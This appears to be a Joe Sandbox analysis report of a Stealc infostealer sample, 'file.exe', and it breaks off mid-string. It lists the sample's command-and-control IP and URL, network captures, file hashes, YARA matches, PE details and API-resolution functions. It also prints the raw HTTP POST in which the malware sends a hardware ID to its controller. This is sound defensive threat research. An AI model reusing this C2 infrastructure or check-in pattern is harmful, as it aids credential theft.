http://185.215.113.37/e2b1563c6670f193.php&f&f	file.exe, 00000000.00000002.1297365011.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37w	file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpfeV	file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpVe	file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521649
Start date and time:	2024-09-29 01:35:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 18 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947459611439105
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'843'712 bytes
MD5:	4d54b2279d2b7ca76fdaf6d89c509355
SHA1:	379684bc91685997bfe8fba6a15212f925c7cafe
SHA256:	65055a6af994e27432e1bb9ced6fcb0886680b9f5a1a715d32d98341203cb7cc
SHA512:	8b15040ddc2c1e1070fa1e1f74d9c62610ff4f0e8c0fa2ffa995dc6696dfb6d851a7e60dece0eb2e753d62ab366b6cec18ca9f56333e4508d6b90c7f61066bd2
SSDEEP:	49152:wVJht3RXBy6BIag4TbsjVgH9r8DEqqZfLK+F5SfJrjzfl:wVJhtFB7SkQmHl8a5LKMSFfl
TLSH:	F68533FD3816FCA0CEC42C3169474E1BB999224743D7DB2DEEAEC50699DB38067D9842
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F540865AECAh
ltr word ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F540865CEC5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0300000Ah
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	6dbc7089aebc1ca85afc2cb30e070ca0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a0000	0x200	1e38b4a34cb01603b77c39c09dc0a4df	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
spyqlfjc	0x4fe000	0x19c000	0x19be00	25b58f188a804099cd315ae113b7bdfb	False	0.9948946083080424	data	7.9536919163300555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
scxfhudm	0x69a000	0x1000	0x600	60b0fd34005dd0d9308cd327d29b158e	False	0.587890625	data	5.051555941674177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69b000	0x3000	0x2200	18bbe7bd9d2032f19a4448beb393b948	False	0.062270220588235295	Applesoft BASIC program data, first line number 15	0.8136820767074039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T01:36:06.027240+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 01:36:05.059812069 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:05.064753056 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 29, 2024 01:36:05.064846992 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:05.065614939 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:05.070385933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 29, 2024 01:36:05.782670975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 29, 2024 01:36:05.782742023 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:05.787992954 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:05.792798042 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 29, 2024 01:36:06.027143955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 29, 2024 01:36:06.027240038 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 29, 2024 01:36:08.926250935 CEST	49699	80	192.168.2.7	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 01:36:48.156236887 CEST	53	58184	162.159.36.2	192.168.2.7
Sep 29, 2024 01:36:48.885674000 CEST	53	59801	1.1.1.1	192.168.2.7

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.37	80	6672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:36:05.065614939 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:36:05.782670975 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:36:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:36:05.787992954 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 30 35 39 30 36 42 45 30 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="hwid"8E05906BE0482604982160------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build"save------JJJJDAAECGHDGDGCGHDB--
Sep 29, 2024 01:36:06.027143955 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:36:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:36:01
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa70000
File size:	1'843'712 bytes
MD5 hash:	4D54B2279D2B7CA76FDAF6D89C509355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1255957657.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 00A89860 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,00681648), ref: 00A898A1
GetProcAddress.KERNEL32(77190000,00681618), ref: 00A898BA
GetProcAddress.KERNEL32(77190000,00681660), ref: 00A898D2
GetProcAddress.KERNEL32(77190000,006817B0), ref: 00A898EA
GetProcAddress.KERNEL32(77190000,006817E0), ref: 00A89903
GetProcAddress.KERNEL32(77190000,00688BF8), ref: 00A8991B
GetProcAddress.KERNEL32(77190000,006754A8), ref: 00A89933
GetProcAddress.KERNEL32(77190000,00675588), ref: 00A8994C
GetProcAddress.KERNEL32(77190000,00681678), ref: 00A89964
GetProcAddress.KERNEL32(77190000,00681690), ref: 00A8997C
GetProcAddress.KERNEL32(77190000,006816A8), ref: 00A89995
GetProcAddress.KERNEL32(77190000,006814F8), ref: 00A899AD
GetProcAddress.KERNEL32(77190000,00675688), ref: 00A899C5
GetProcAddress.KERNEL32(77190000,00681510), ref: 00A899DE
GetProcAddress.KERNEL32(77190000,00681528), ref: 00A899F6
GetProcAddress.KERNEL32(77190000,006755A8), ref: 00A89A0E
GetProcAddress.KERNEL32(77190000,00681540), ref: 00A89A27
GetProcAddress.KERNEL32(77190000,00681558), ref: 00A89A3F
GetProcAddress.KERNEL32(77190000,00675408), ref: 00A89A57
GetProcAddress.KERNEL32(77190000,00681858), ref: 00A89A70
GetProcAddress.KERNEL32(77190000,00675728), ref: 00A89A88
LoadLibraryA.KERNEL32(00681888,?,00A86A00), ref: 00A89A9A
LoadLibraryA.KERNEL32(00681840,?,00A86A00), ref: 00A89AAB
LoadLibraryA.KERNEL32(00681828,?,00A86A00), ref: 00A89ABD
LoadLibraryA.KERNEL32(00681870,?,00A86A00), ref: 00A89ACF
LoadLibraryA.KERNEL32(00681810,?,00A86A00), ref: 00A89AE0
GetProcAddress.KERNEL32(76850000,006818A0), ref: 00A89B02
GetProcAddress.KERNEL32(77040000,006818B8), ref: 00A89B23
GetProcAddress.KERNEL32(77040000,006817F8), ref: 00A89B3B
GetProcAddress.KERNEL32(75A10000,00688E88), ref: 00A89B5D
GetProcAddress.KERNEL32(75690000,006755C8), ref: 00A89B7E
GetProcAddress.KERNEL32(776F0000,00688C18), ref: 00A89B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00A89BB6

Strings

NtQueryInformationProcess, xrefs: 00A89BAA
(Wg, xrefs: 00A89A7B

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: (Wg$NtQueryInformationProcess
API String ID: 2238633743-613721733
Opcode ID: d54117406967a3d658e1754ec719a67322245bef4101eb9ec6b4957ad63ec957
Instruction ID: a1d28491bd065f3c6897343591019caaae22597e40c4b765b33a9e738e7c5a59
Opcode Fuzzy Hash: d54117406967a3d658e1754ec719a67322245bef4101eb9ec6b4957ad63ec957
Instruction Fuzzy Hash: 17A14CB5508240AFD354EFA8FD88B6E37F9F74C301F54471AE689D36A4DA3A9841CB12

Function 00A745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00A7460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00A7479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A7475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A74617

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially 